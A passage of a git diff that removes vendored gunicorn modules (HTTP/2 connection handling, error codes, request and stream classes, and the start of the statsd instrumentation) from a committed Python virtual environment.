self.max_frame_size = cfg.http2_max_frame_size - self.max_header_list_size = cfg.http2_max_header_list_size - - # Initialize h2 connection - config = _h2_config.H2Configuration( - client_side=False, - header_encoding='utf-8', - ) - self.h2_conn = _h2.H2Connection(config=config) - - # Read buffer for partial frames - self._read_buffer = BytesIO() - - # Connection state - self._closed = False - self._initialized = False - - def initiate_connection(self): - """Send initial HTTP/2 settings to client. - - Should be called after the SSL handshake completes and - before processing any data. - """ - if self._initialized: - return - - # Update local settings before initiating - self.h2_conn.update_settings({ - _h2_settings.SettingCodes.MAX_CONCURRENT_STREAMS: self.max_concurrent_streams, - _h2_settings.SettingCodes.INITIAL_WINDOW_SIZE: self.initial_window_size, - _h2_settings.SettingCodes.MAX_FRAME_SIZE: self.max_frame_size, - _h2_settings.SettingCodes.MAX_HEADER_LIST_SIZE: self.max_header_list_size, - }) - - self.h2_conn.initiate_connection() - self._send_pending_data() - self._initialized = True - - def receive_data(self, data=None): - """Process received data and return completed requests. - - Args: - data: Optional bytes to process. If None, reads from socket. - - Returns: - list: List of HTTP2Request objects for completed requests - - Raises: - HTTP2ConnectionError: On protocol or connection errors - """ - if data is None: - try: - data = self.sock.recv(self.READ_BUFFER_SIZE) - except (OSError, IOError) as e: - raise HTTP2ConnectionError(f"Socket read error: {e}") - - if not data: - # Connection closed by peer - self._closed = True - return [] - - # Feed data to h2 - # Note: Specific exceptions must come before ProtocolError (their parent class) - try: - events = self.h2_conn.receive_data(data) - except _h2_exceptions.FlowControlError as e: - # Send GOAWAY with FLOW_CONTROL_ERROR - self.close(error_code=HTTP2ErrorCode.FLOW_CONTROL_ERROR) - raise HTTP2ProtocolError(str(e)) - except _h2_exceptions.FrameTooLargeError as e: - # Send GOAWAY with FRAME_SIZE_ERROR - self.close(error_code=HTTP2ErrorCode.FRAME_SIZE_ERROR) - raise HTTP2ProtocolError(str(e)) - except _h2_exceptions.InvalidSettingsValueError as e: - # Use error_code from h2 exception (RFC 7540 Section 6.5.2): - # INITIAL_WINDOW_SIZE > 2^31-1 gives FLOW_CONTROL_ERROR - # Other invalid settings give PROTOCOL_ERROR - error_code = getattr(e, 'error_code', None) - if error_code is not None: - self.close(error_code=error_code) - else: - self.close(error_code=HTTP2ErrorCode.PROTOCOL_ERROR) - raise HTTP2ProtocolError(str(e)) - except _h2_exceptions.TooManyStreamsError as e: - # Send GOAWAY with REFUSED_STREAM - self.close(error_code=HTTP2ErrorCode.REFUSED_STREAM) - raise HTTP2ProtocolError(str(e)) - except _h2_exceptions.ProtocolError as e: - # Send GOAWAY with PROTOCOL_ERROR before raising - self.close(error_code=HTTP2ErrorCode.PROTOCOL_ERROR) - raise HTTP2ProtocolError(str(e)) - - # Process events - completed_requests = [] - for event in events: - request = self._handle_event(event) - if request is not None: - completed_requests.append(request) - - # Send any pending data (WINDOW_UPDATE, etc.) - self._send_pending_data() - - return completed_requests - - def _handle_event(self, event): - """Handle a single h2 event. - - Args: - event: h2 event object - - Returns: - HTTP2Request if a request is complete, None otherwise - """ - if isinstance(event, _h2_events.RequestReceived): - return self._handle_request_received(event) - - elif isinstance(event, _h2_events.DataReceived): - return self._handle_data_received(event) - - elif isinstance(event, _h2_events.StreamEnded): - return self._handle_stream_ended(event) - - elif isinstance(event, _h2_events.StreamReset): - self._handle_stream_reset(event) - - elif isinstance(event, _h2_events.WindowUpdated): - pass # Flow control update, handled by h2 - - elif isinstance(event, _h2_events.PriorityUpdated): - self._handle_priority_updated(event) - - elif isinstance(event, _h2_events.SettingsAcknowledged): - pass # Settings ACK received - - elif isinstance(event, _h2_events.ConnectionTerminated): - self._handle_connection_terminated(event) - - elif isinstance(event, _h2_events.TrailersReceived): - return self._handle_trailers_received(event) - - return None - - def _handle_request_received(self, event): - """Handle RequestReceived event (HEADERS frame). - - Args: - event: RequestReceived event with headers - """ - stream_id = event.stream_id - headers = event.headers - - # Create new stream - stream = HTTP2Stream(stream_id, self) - self.streams[stream_id] = stream - - # Process headers - # The StreamEnded event will come separately for GET/HEAD with no body - stream.receive_headers(headers, end_stream=False) - - def _handle_data_received(self, event): - """Handle DataReceived event. - - Args: - event: DataReceived event with body data - - Returns: - None (request completion handled by StreamEnded) - """ - stream_id = event.stream_id - data = event.data - - stream = self.streams.get(stream_id) - if stream is None: - # Stream was reset or doesn't exist - return None - - stream.receive_data(data, end_stream=False) - - # Increment flow control windows (only if data received) - if len(data) > 0: - try: - # Update stream-level window - self.h2_conn.increment_flow_control_window(len(data), stream_id=stream_id) - # Update connection-level window - self.h2_conn.increment_flow_control_window(len(data), stream_id=None) - # Send WINDOW_UPDATE frames immediately - self._send_pending_data() - except (ValueError, _h2_exceptions.FlowControlError): - # Window overflow - send FLOW_CONTROL_ERROR and close - self.close(error_code=HTTP2ErrorCode.FLOW_CONTROL_ERROR) - - return None - - def _handle_stream_ended(self, event): - """Handle StreamEnded event. - - Args: - event: StreamEnded event - - Returns: - HTTP2Request for the completed request - """ - stream_id = event.stream_id - stream = self.streams.get(stream_id) - - if stream is None: - return None - - # Mark stream as request complete and body complete so the - # receive() closure's _body_complete guard fires, preventing - # the fast path from re-reading already-consumed data from BytesIO. - stream.request_complete = True - stream._body_complete = True - if stream._body_event: - stream._body_event.set() - - # Create request object - return HTTP2Request(stream, self.cfg, self.client_addr) - - def _handle_stream_reset(self, event): - """Handle StreamReset event (RST_STREAM frame). - - Args: - event: StreamReset event - """ - stream_id = event.stream_id - stream = self.streams.get(stream_id) - - if stream is not None: - stream.reset(event.error_code) - # Keep stream in dict for potential cleanup - - def _handle_connection_terminated(self, event): - """Handle ConnectionTerminated event (GOAWAY frame). - - Args: - event: ConnectionTerminated event - """ - self._closed = True - # Could log event.error_code and event.additional_data - - def _handle_trailers_received(self, event): - """Handle TrailersReceived event. - - Args: - event: TrailersReceived event with trailer headers - - Returns: - HTTP2Request if this completes the request - """ - stream_id = event.stream_id - stream = self.streams.get(stream_id) - - if stream is None: - return None - - stream.receive_trailers(event.headers) - - # Trailers always end the request - return HTTP2Request(stream, self.cfg, self.client_addr) - - def _handle_priority_updated(self, event): - """Handle PriorityUpdated event (PRIORITY frame). - - Args: - event: PriorityUpdated event with priority info - """ - stream = self.streams.get(event.stream_id) - if stream is not None: - stream.update_priority( - weight=event.weight, - depends_on=event.depends_on, - exclusive=event.exclusive - ) - - def send_informational(self, stream_id, status, headers): - """Send an informational response (1xx) on a stream. - - This is used for 103 Early Hints and other 1xx responses. - Informational responses are sent before the final response - and do not end the stream. - - Args: - stream_id: The stream ID - status: HTTP status code (100-199) - headers: List of (name, value) header tuples - - Raises: - HTTP2Error: If status is not in 1xx range - """ - if status < 100 or status >= 200: - raise HTTP2Error(f"Invalid informational status: {status}") - - stream = self.streams.get(stream_id) - if stream is None: - raise HTTP2Error(f"Stream {stream_id} not found") - - # Build headers with :status pseudo-header - response_headers = [(':status', str(status))] - for name, value in headers: - # HTTP/2 headers must be lowercase - response_headers.append((name.lower(), str(value))) - - # Send headers with end_stream=False (informational, more to follow) - self.h2_conn.send_headers(stream_id, response_headers, end_stream=False) - self._send_pending_data() - - def send_response(self, stream_id, status, headers, body=None): - """Send a response on a stream. - - Args: - stream_id: The stream ID to respond on - status: HTTP status code (int) - headers: List of (name, value) header tuples - body: Optional response body bytes - - Raises: - HTTP2Error: If stream not found or in invalid state - - Returns: - bool: True if response sent, False if stream was already closed - """ - stream = self.streams.get(stream_id) - if stream is None: - # Stream was already cleaned up (reset/closed) - return gracefully - return False - - # Build response headers with :status pseudo-header - response_headers = [(':status', str(status))] - for name, value in headers: - # HTTP/2 headers must be lowercase - response_headers.append((name.lower(), str(value))) - - end_stream = body is None or len(body) == 0 - - try: - # Send headers - self.h2_conn.send_headers(stream_id, response_headers, end_stream=end_stream) - stream.send_headers(response_headers, end_stream=end_stream) - self._send_pending_data() - - # Send body if present - if body and len(body) > 0: - self.send_data(stream_id, body, end_stream=True) - return True - except _h2_exceptions.StreamClosedError: - # Stream was reset by client - clean up gracefully - stream.close() - self.cleanup_stream(stream_id) - return False - - def _wait_for_flow_control_window(self, stream_id): - """Wait for flow control window to become positive. - - Returns: - int: Available window size, or -1 if waiting failed - """ - import selectors - - max_wait_attempts = 50 # ~5 seconds at 100ms per attempt - try: - sel = selectors.DefaultSelector() - sel.register(self.sock, selectors.EVENT_READ) - except (TypeError, ValueError): - # Socket doesn't support selectors (e.g., mock socket) - return -1 - - result = -1 - try: - for _ in range(max_wait_attempts): - available = self.h2_conn.local_flow_control_window(stream_id) - if available > 0: - result = available - break - - ready = sel.select(timeout=0.1) - if ready: - try: - incoming = self.sock.recv(self.READ_BUFFER_SIZE) - except (OSError, IOError, _h2_exceptions.ProtocolError): - break - if not incoming: - self._closed = True - break - try: - events = self.h2_conn.receive_data(incoming) - except _h2_exceptions.ProtocolError: - break - for event in events: - if isinstance(event, _h2_events.StreamReset): - if event.stream_id == stream_id: - result = -1 - break - elif isinstance(event, _h2_events.ConnectionTerminated): - self._closed = True - result = -1 - break - else: - self._send_pending_data() - continue - break # Break outer loop if inner loop broke - else: - # Loop completed without break - check final window - result = self.h2_conn.local_flow_control_window(stream_id) - finally: - sel.close() - - return result - - def send_data(self, stream_id, data, end_stream=False): - """Send data on a stream. - - Args: - stream_id: The stream ID - data: Body data bytes - end_stream: Whether this ends the stream - - Returns: - bool: True if data sent, False if stream was already closed - """ - stream = self.streams.get(stream_id) - if stream is None: - return False - - data_to_send = data - try: - while data_to_send: - available = self.h2_conn.local_flow_control_window(stream_id) - chunk_size = min(available, self.max_frame_size, len(data_to_send)) - - if chunk_size <= 0: - # Wait for WINDOW_UPDATE per RFC 7540 Section 6.9.2 - self._send_pending_data() - available = self._wait_for_flow_control_window(stream_id) - if available <= 0: - return False - chunk_size = min(available, self.max_frame_size, len(data_to_send)) - - chunk = data_to_send[:chunk_size] - data_to_send = data_to_send[chunk_size:] - is_final = end_stream and len(data_to_send) == 0 - - self.h2_conn.send_data(stream_id, chunk, end_stream=is_final) - self._send_pending_data() - - stream.send_data(data, end_stream=end_stream) - return True - except (_h2_exceptions.StreamClosedError, _h2_exceptions.FlowControlError): - # Stream was reset by client or flow control error - clean up gracefully - stream.close() - self.cleanup_stream(stream_id) - return False - - def send_trailers(self, stream_id, trailers): - """Send trailing headers on a stream. - - Trailers are headers sent after the response body, commonly used - for gRPC status codes, checksums, and timing information. - - Args: - stream_id: The stream ID - trailers: List of (name, value) trailer tuples - - Raises: - HTTP2Error: If stream not found, headers not sent, or pseudo-headers used - - Returns: - bool: True if trailers sent, False if stream was already closed - """ - stream = self.streams.get(stream_id) - if stream is None: - # Stream was already cleaned up (reset/closed) - return gracefully - return False - if not stream.response_headers_sent: - # Can't send trailers without headers - return False - return False - - # Validate and normalize trailer headers - trailer_headers = [] - for name, value in trailers: - lname = name.lower() - if lname.startswith(':'): - raise HTTP2Error(f"Pseudo-header '{name}' not allowed in trailers") - trailer_headers.append((lname, str(value))) - - try: - # Send trailers with end_stream=True - self.h2_conn.send_headers(stream_id, trailer_headers, end_stream=True) - stream.send_trailers(trailer_headers) - self._send_pending_data() - return True - except _h2_exceptions.StreamClosedError: - # Stream was reset by client - clean up gracefully - stream.close() - self.cleanup_stream(stream_id) - return False - - def send_error(self, stream_id, status_code, message=None): - """Send an error response on a stream. - - Args: - stream_id: The stream ID - status_code: HTTP status code - message: Optional error message body - """ - body = message.encode() if message else b'' - headers = [('content-length', str(len(body)))] - if body: - headers.append(('content-type', 'text/plain; charset=utf-8')) - - self.send_response(stream_id, status_code, headers, body) - - def reset_stream(self, stream_id, error_code=0x8): - """Reset a stream with RST_STREAM. - - Args: - stream_id: The stream ID to reset - error_code: HTTP/2 error code (default: CANCEL) - """ - stream = self.streams.get(stream_id) - if stream is not None: - stream.reset(error_code) - - self.h2_conn.reset_stream(stream_id, error_code=error_code) - self._send_pending_data() - - def close(self, error_code=0x0, last_stream_id=None): - """Close the connection gracefully with GOAWAY. - - Args: - error_code: HTTP/2 error code (default: NO_ERROR) - last_stream_id: Last processed stream ID (default: highest) - """ - if self._closed: - return - - self._closed = True - - if last_stream_id is None: - # Use highest stream ID we've seen - last_stream_id = max(self.streams.keys()) if self.streams else 0 - - try: - self.h2_conn.close_connection(error_code=error_code) - self._send_pending_data() - except Exception: - pass # Best effort - - def _send_pending_data(self): - """Send any pending data from h2 to the socket.""" - data = self.h2_conn.data_to_send() - if data: - try: - self.sock.sendall(data) - except (OSError, IOError) as e: - self._closed = True - raise HTTP2ConnectionError(f"Socket write error: {e}") - - @property - def is_closed(self): - """Check if connection is closed.""" - return self._closed - - def cleanup_stream(self, stream_id): - """Remove a stream after processing is complete. - - Args: - stream_id: The stream ID to clean up - """ - self.streams.pop(stream_id, None) - - def __repr__(self): - return ( - f"" - ) - - -__all__ = ['HTTP2ServerConnection'] diff --git a/venv/Lib/site-packages/gunicorn/http2/errors.py b/venv/Lib/site-packages/gunicorn/http2/errors.py deleted file mode 100644 index 0f1b86f02981b5d416923e99d5d2007f4c8215ce..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/http2/errors.py +++ /dev/null @@ -1,169 +0,0 @@ -# -*- coding: utf-8 - -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -HTTP/2 specific exceptions. - -These exceptions map to HTTP/2 error codes defined in RFC 7540. -""" - - -class HTTP2ErrorCode: - """HTTP/2 Error Codes (RFC 7540 Section 7).""" - - NO_ERROR = 0x0 - PROTOCOL_ERROR = 0x1 - INTERNAL_ERROR = 0x2 - FLOW_CONTROL_ERROR = 0x3 - SETTINGS_TIMEOUT = 0x4 - STREAM_CLOSED = 0x5 - FRAME_SIZE_ERROR = 0x6 - REFUSED_STREAM = 0x7 - CANCEL = 0x8 - COMPRESSION_ERROR = 0x9 - CONNECT_ERROR = 0xa - ENHANCE_YOUR_CALM = 0xb - INADEQUATE_SECURITY = 0xc - HTTP_1_1_REQUIRED = 0xd - - -class HTTP2Error(Exception): - """Base exception for HTTP/2 errors.""" - - error_code = 0x0 # NO_ERROR - - def __init__(self, message=None, error_code=None): - self.message = message or self.__class__.__doc__ - if error_code is not None: - self.error_code = error_code - super().__init__(self.message) - - -class HTTP2ProtocolError(HTTP2Error): - """Protocol error detected.""" - - error_code = 0x1 # PROTOCOL_ERROR - - -class HTTP2InternalError(HTTP2Error): - """Internal error occurred.""" - - error_code = 0x2 # INTERNAL_ERROR - - -class HTTP2FlowControlError(HTTP2Error): - """Flow control limits exceeded.""" - - error_code = 0x3 # FLOW_CONTROL_ERROR - - -class HTTP2SettingsTimeout(HTTP2Error): - """Settings acknowledgment timeout.""" - - error_code = 0x4 # SETTINGS_TIMEOUT - - -class HTTP2StreamClosed(HTTP2Error): - """Stream was closed.""" - - error_code = 0x5 # STREAM_CLOSED - - -class HTTP2FrameSizeError(HTTP2Error): - """Frame size is incorrect.""" - - error_code = 0x6 # FRAME_SIZE_ERROR - - -class HTTP2RefusedStream(HTTP2Error): - """Stream was refused.""" - - error_code = 0x7 # REFUSED_STREAM - - -class HTTP2Cancel(HTTP2Error): - """Stream was cancelled.""" - - error_code = 0x8 # CANCEL - - -class HTTP2CompressionError(HTTP2Error): - """Compression state error.""" - - error_code = 0x9 # COMPRESSION_ERROR - - -class HTTP2ConnectError(HTTP2Error): - """Connection error during CONNECT.""" - - error_code = 0xa # CONNECT_ERROR - - -class HTTP2EnhanceYourCalm(HTTP2Error): - """Peer is generating excessive load.""" - - error_code = 0xb # ENHANCE_YOUR_CALM - - -class HTTP2InadequateSecurity(HTTP2Error): - """Transport security is inadequate.""" - - error_code = 0xc # INADEQUATE_SECURITY - - -class HTTP2RequiresHTTP11(HTTP2Error): - """HTTP/1.1 is required for this request.""" - - error_code = 0xd # HTTP_1_1_REQUIRED - - -class HTTP2StreamError(HTTP2Error): - """Error specific to a single stream.""" - - def __init__(self, stream_id, message=None, error_code=None): - self.stream_id = stream_id - super().__init__(message, error_code) - - def __str__(self): - return f"Stream {self.stream_id}: {self.message}" - - -class HTTP2ConnectionError(HTTP2Error): - """Error affecting the entire connection.""" - - -class HTTP2ConfigurationError(HTTP2Error): - """Invalid HTTP/2 configuration.""" - - -class HTTP2NotAvailable(HTTP2Error): - """HTTP/2 support is not available (h2 library not installed).""" - - def __init__(self, message=None): - message = message or "HTTP/2 requires the h2 library: pip install gunicorn[http2]" - super().__init__(message) - - -__all__ = [ - 'HTTP2ErrorCode', - 'HTTP2Error', - 'HTTP2ProtocolError', - 'HTTP2InternalError', - 'HTTP2FlowControlError', - 'HTTP2SettingsTimeout', - 'HTTP2StreamClosed', - 'HTTP2FrameSizeError', - 'HTTP2RefusedStream', - 'HTTP2Cancel', - 'HTTP2CompressionError', - 'HTTP2ConnectError', - 'HTTP2EnhanceYourCalm', - 'HTTP2InadequateSecurity', - 'HTTP2RequiresHTTP11', - 'HTTP2StreamError', - 'HTTP2ConnectionError', - 'HTTP2ConfigurationError', - 'HTTP2NotAvailable', -] diff --git a/venv/Lib/site-packages/gunicorn/http2/request.py b/venv/Lib/site-packages/gunicorn/http2/request.py deleted file mode 100644 index fe79405a9808b9f6df400c092688b6c36baa89ae..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/http2/request.py +++ /dev/null @@ -1,234 +0,0 @@ -# -*- coding: utf-8 - -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -HTTP/2 request wrapper. - -Provides a Request-compatible interface for HTTP/2 streams. -""" - -from io import BytesIO - -from gunicorn.util import split_request_uri - - -class HTTP2Body: - """Body wrapper for HTTP/2 request data. - - Provides a file-like interface to the request body, - compatible with gunicorn's Body class expectations. - """ - - def __init__(self, data): - """Initialize with body data. - - Args: - data: bytes containing the request body - """ - self._data = BytesIO(data) - self._len = len(data) - - def read(self, size=None): - """Read data from the body. - - Args: - size: Number of bytes to read, or None for all remaining - - Returns: - bytes: The requested data - """ - if size is None: - return self._data.read() - return self._data.read(size) - - def readline(self, size=None): - """Read a line from the body. - - Args: - size: Maximum bytes to read - - Returns: - bytes: A line of data - """ - if size is None: - return self._data.readline() - return self._data.readline(size) - - def readlines(self, hint=None): - """Read all lines from the body. - - Args: - hint: Approximate byte count hint - - Returns: - list: List of lines - """ - return self._data.readlines(hint) - - def __iter__(self): - """Iterate over lines in the body.""" - return iter(self._data) - - def __len__(self): - """Return the content length.""" - return self._len - - def close(self): - """Close the body stream.""" - self._data.close() - - -class HTTP2Request: - """HTTP/2 request wrapper compatible with gunicorn Request interface. - - Wraps an HTTP2Stream to provide the same interface as the HTTP/1.x - Request class, allowing workers to handle HTTP/2 requests using - existing code paths. - """ - - def __init__(self, stream, cfg, peer_addr): - """Initialize from an HTTP/2 stream. - - Args: - stream: HTTP2Stream instance with received headers/body - cfg: Gunicorn configuration object - peer_addr: Client address tuple (host, port) - """ - self.stream = stream - self.cfg = cfg - self.peer_addr = peer_addr - self.remote_addr = peer_addr - - # HTTP/2 version tuple - self.version = (2, 0) - - # Parse pseudo-headers - pseudo = stream.get_pseudo_headers() - self.method = pseudo.get(':method', 'GET') - self.scheme = pseudo.get(':scheme', 'https') - authority = pseudo.get(':authority', '') - path = pseudo.get(':path', '/') - - # Parse the path into components - self.uri = path - try: - parts = split_request_uri(path) - self.path = parts.path or "" - self.query = parts.query or "" - self.fragment = parts.fragment or "" - except ValueError: - self.path = path - self.query = "" - self.fragment = "" - - # Store authority for Host header equivalent - self._authority = authority - - # Convert HTTP/2 headers to HTTP/1.1 style - # HTTP/2 headers are lowercase, convert to uppercase for WSGI - self.headers = [] - for name, value in stream.get_regular_headers(): - # Convert to uppercase for WSGI compatibility - self.headers.append((name.upper(), value)) - - # Set Host header from :authority (RFC 9113 section 8.3.1) - # :authority MUST take precedence over Host header - if authority: - self.headers = [(n, v) for n, v in self.headers if n != 'HOST'] - self.headers.append(('HOST', authority)) - - # Trailers (if any) - self.trailers = [] - if stream.trailers: - self.trailers = [ - (name.upper(), value) - for name, value in stream.trailers - ] - - # Body - HTTP/2 streams have complete body data - body_data = stream.get_request_body() - self.body = HTTP2Body(body_data) - - # Connection state - self.must_close = False - self._expected_100_continue = False - - # Request numbering (for logging) - self.req_number = stream.stream_id - - # HTTP/2 does not use proxy protocol through the data stream - self.proxy_protocol_info = None - - # Stream priority (RFC 7540 Section 5.3) - self.priority_weight = stream.priority_weight - self.priority_depends_on = stream.priority_depends_on - - def force_close(self): - """Force the connection to close after this request.""" - self.must_close = True - - def should_close(self): - """Check if connection should close after this request. - - HTTP/2 connections are persistent by design, but we may still - need to close if explicitly requested. - - Returns: - bool: True if connection should close - """ - if self.must_close: - return True - # HTTP/2 connections are persistent, don't close by default - return False - - def get_header(self, name): - """Get a header value by name. - - Args: - name: Header name (case-insensitive) - - Returns: - str: Header value, or None if not found - """ - name = name.upper() - for h_name, h_value in self.headers: - if h_name == name: - return h_value - return None - - @property - def content_length(self): - """Get the Content-Length header value. - - Returns: - int: Content length, or None if not set - """ - cl = self.get_header('CONTENT-LENGTH') - if cl is not None: - try: - return int(cl) - except ValueError: - pass - return None - - @property - def content_type(self): - """Get the Content-Type header value. - - Returns: - str: Content type, or None if not set - """ - return self.get_header('CONTENT-TYPE') - - def __repr__(self): - return ( - f"" - ) - - -__all__ = ['HTTP2Request', 'HTTP2Body'] diff --git a/venv/Lib/site-packages/gunicorn/http2/stream.py b/venv/Lib/site-packages/gunicorn/http2/stream.py deleted file mode 100644 index 34b7be18d3ceaeb1c1091e87690aa5f467c68366..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/http2/stream.py +++ /dev/null @@ -1,364 +0,0 @@ -# -*- coding: utf-8 - -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -""" -HTTP/2 stream state management. - -Each HTTP/2 stream represents a single request/response exchange. -""" - -from enum import Enum, auto -from io import BytesIO - -from .errors import HTTP2StreamError - - -class StreamState(Enum): - """HTTP/2 stream states as defined in RFC 7540 Section 5.1.""" - - IDLE = auto() - RESERVED_LOCAL = auto() - RESERVED_REMOTE = auto() - OPEN = auto() - HALF_CLOSED_LOCAL = auto() - HALF_CLOSED_REMOTE = auto() - CLOSED = auto() - - -class HTTP2Stream: - """Represents a single HTTP/2 stream. - - Manages stream state, headers, and body data for a single - request/response exchange within an HTTP/2 connection. - """ - - def __init__(self, stream_id, connection): - """Initialize an HTTP/2 stream. - - Args: - stream_id: The unique stream identifier (odd for client-initiated) - connection: The parent HTTP2ServerConnection - """ - self.stream_id = stream_id - self.connection = connection - - # Stream state - self.state = StreamState.IDLE - - # Request data - self.request_headers = [] - self.request_body = BytesIO() - self.request_complete = False - - # Response data - self.response_started = False - self.response_headers_sent = False - self.response_complete = False - - # Flow control - self.window_size = connection.initial_window_size - - # Request trailers - self.trailers = None - - # Response trailers - self.response_trailers = None - - # Stream priority (RFC 7540 Section 5.3) - self.priority_weight = 16 - self.priority_depends_on = 0 - self.priority_exclusive = False - - # Streaming body support (avoids buffering entire uploads) - self._body_chunks = [] - self._body_event = None # Lazy-init asyncio.Event - self._body_complete = False - - @property - def is_client_stream(self): - """Check if this is a client-initiated stream (odd stream ID).""" - return self.stream_id % 2 == 1 - - @property - def is_server_stream(self): - """Check if this is a server-initiated stream (even stream ID).""" - return self.stream_id % 2 == 0 - - @property - def can_receive(self): - """Check if this stream can receive data.""" - return self.state in ( - StreamState.OPEN, - StreamState.HALF_CLOSED_LOCAL, - ) - - @property - def can_send(self): - """Check if this stream can send data.""" - return self.state in ( - StreamState.OPEN, - StreamState.HALF_CLOSED_REMOTE, - ) - - def receive_headers(self, headers, end_stream=False): - """Process received HEADERS frame. - - Args: - headers: List of (name, value) tuples - end_stream: True if END_STREAM flag is set - - Raises: - HTTP2StreamError: If headers received in invalid state - """ - if self.state == StreamState.IDLE: - self.state = StreamState.OPEN - elif self.state not in (StreamState.OPEN, StreamState.HALF_CLOSED_LOCAL): - raise HTTP2StreamError( - self.stream_id, - f"Cannot receive headers in state {self.state.name}" - ) - - self.request_headers.extend(headers) - - if end_stream: - self._half_close_remote() - self.request_complete = True - - def receive_data(self, data, end_stream=False): - """Process received DATA frame with streaming support. - - Args: - data: Bytes received - end_stream: True if END_STREAM flag is set - - Raises: - HTTP2StreamError: If data received in invalid state - """ - if not self.can_receive: - raise HTTP2StreamError( - self.stream_id, - f"Cannot receive data in state {self.state.name}" - ) - - # Add to chunks queue for streaming reads - if data: - self._body_chunks.append(data) - if self._body_event: - self._body_event.set() - - # Also write to legacy BytesIO for compatibility - self.request_body.write(data) - - if end_stream: - self._half_close_remote() - self.request_complete = True - self._body_complete = True - if self._body_event: - self._body_event.set() - - def receive_trailers(self, trailers): - """Process received trailing headers. - - Args: - trailers: List of (name, value) tuples - """ - if not self.can_receive: - raise HTTP2StreamError( - self.stream_id, - f"Cannot receive trailers in state {self.state.name}" - ) - - self.trailers = trailers - self._half_close_remote() - self.request_complete = True - - def send_headers(self, headers, end_stream=False): - """Mark headers as sent. - - Args: - headers: List of (name, value) tuples to send - end_stream: True if this completes the response - - Raises: - HTTP2StreamError: If headers cannot be sent in current state - """ - if not self.can_send: - raise HTTP2StreamError( - self.stream_id, - f"Cannot send headers in state {self.state.name}" - ) - - self.response_started = True - self.response_headers_sent = True - - if end_stream: - self._half_close_local() - self.response_complete = True - - def send_data(self, data, end_stream=False): - """Mark data as sent. - - Args: - data: Bytes to send - end_stream: True if this completes the response - - Raises: - HTTP2StreamError: If data cannot be sent in current state - """ - if not self.can_send: - raise HTTP2StreamError( - self.stream_id, - f"Cannot send data in state {self.state.name}" - ) - - if end_stream: - self._half_close_local() - self.response_complete = True - - def send_trailers(self, trailers): - """Mark trailers as sent and close the stream. - - Args: - trailers: List of (name, value) trailer tuples - - Raises: - HTTP2StreamError: If trailers cannot be sent in current state - """ - if not self.can_send: - raise HTTP2StreamError( - self.stream_id, - f"Cannot send trailers in state {self.state.name}" - ) - self.response_trailers = trailers - self._half_close_local() - self.response_complete = True - - def reset(self, error_code=0x8): - """Reset this stream with RST_STREAM. - - Args: - error_code: HTTP/2 error code (default: CANCEL) - """ - self.state = StreamState.CLOSED - self.response_complete = True - self.request_complete = True - - def close(self): - """Close this stream normally.""" - self.state = StreamState.CLOSED - self.response_complete = True - self.request_complete = True - - def update_priority(self, weight=None, depends_on=None, exclusive=None): - """Update stream priority from PRIORITY frame. - - Args: - weight: Priority weight (1-256), higher = more resources - depends_on: Stream ID this stream depends on - exclusive: Whether this is an exclusive dependency - """ - if weight is not None: - self.priority_weight = max(1, min(256, weight)) - if depends_on is not None: - self.priority_depends_on = depends_on - if exclusive is not None: - self.priority_exclusive = exclusive - - def _half_close_local(self): - """Transition to half-closed (local) state.""" - if self.state == StreamState.OPEN: - self.state = StreamState.HALF_CLOSED_LOCAL - elif self.state == StreamState.HALF_CLOSED_REMOTE: - self.state = StreamState.CLOSED - else: - raise HTTP2StreamError( - self.stream_id, - f"Cannot half-close local in state {self.state.name}" - ) - - def _half_close_remote(self): - """Transition to half-closed (remote) state.""" - if self.state == StreamState.OPEN: - self.state = StreamState.HALF_CLOSED_REMOTE - elif self.state == StreamState.HALF_CLOSED_LOCAL: - self.state = StreamState.CLOSED - else: - raise HTTP2StreamError( - self.stream_id, - f"Cannot half-close remote in state {self.state.name}" - ) - - def get_request_body(self): - """Get the complete request body. - - Returns: - bytes: The request body data - """ - return self.request_body.getvalue() - - async def read_body_chunk(self): - """Read next body chunk asynchronously for streaming. - - Returns: - bytes: Next chunk of body data, or None if body is complete. - """ - import asyncio - - # Initialize event lazily (avoids event loop issues at construction) - if self._body_event is None: - self._body_event = asyncio.Event() - # If data already arrived before event existed, set it now - # This prevents race where DATA frames arrive before first read - if self._body_chunks or self._body_complete: - self._body_event.set() - - while True: - # Return chunk if available - if self._body_chunks: - return self._body_chunks.pop(0) - - # No more data expected - if self._body_complete: - return None - - # Wait for more data - self._body_event.clear() - await self._body_event.wait() - - def get_pseudo_headers(self): - """Extract HTTP/2 pseudo-headers from request headers. - - Returns: - dict: Mapping of pseudo-header names to values - (e.g., {':method': 'GET', ':path': '/'}) - """ - pseudo = {} - for name, value in self.request_headers: - if name.startswith(':'): - pseudo[name] = value - return pseudo - - def get_regular_headers(self): - """Get regular (non-pseudo) headers from request. - - Returns: - list: List of (name, value) tuples for regular headers - """ - return [ - (name, value) - for name, value in self.request_headers - if not name.startswith(':') - ] - - def __repr__(self): - return ( - f"" - ) - - -__all__ = ['HTTP2Stream', 'StreamState'] diff --git a/venv/Lib/site-packages/gunicorn/instrument/__init__.py b/venv/Lib/site-packages/gunicorn/instrument/__init__.py deleted file mode 100644 index 530e35ca491371b1cd868c074523da1a54ca8439..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/instrument/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. diff --git a/venv/Lib/site-packages/gunicorn/instrument/statsd.py b/venv/Lib/site-packages/gunicorn/instrument/statsd.py deleted file mode 100644 index 620532108faa174565b8dbf23188196e5fa66a4f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/gunicorn/instrument/statsd.py +++ /dev/null @@ -1,140 +0,0 @@ -# -# This file is part of gunicorn released under the MIT license. -# See the NOTICE for more information. - -"Bare-bones implementation of statsD's protocol, client-side" - -import logging -import socket -from re import sub - -from gunicorn.glogging import Logger - -# Instrumentation constants -METRIC_VAR = "metric" -VALUE_VAR = "value" -MTYPE_VAR = "mtype" -GAUGE_TYPE = "gauge" -COUNTER_TYPE = "counter" -HISTOGRAM_TYPE = "histogram" -TIMER_TYPE = "timer" - - -class Statsd(Logger): - """statsD-based instrumentation, that passes as a logger - """ - def __init__(self, cfg): - Logger.__init__(self, cfg) - 